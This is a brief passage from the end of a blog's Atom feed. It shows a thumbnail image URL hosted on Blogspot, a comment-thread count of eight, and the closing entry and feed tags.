url="http://2.bp.blogspot.com/_48czvH0DaKc/SF9yHdk_bhI/AAAAAAAAACI/ZODoO6oRd_E/s72-c/ImgInstalMultiFostware.jpg" width="72"/><thr:total>8</thr:total></entry></feed>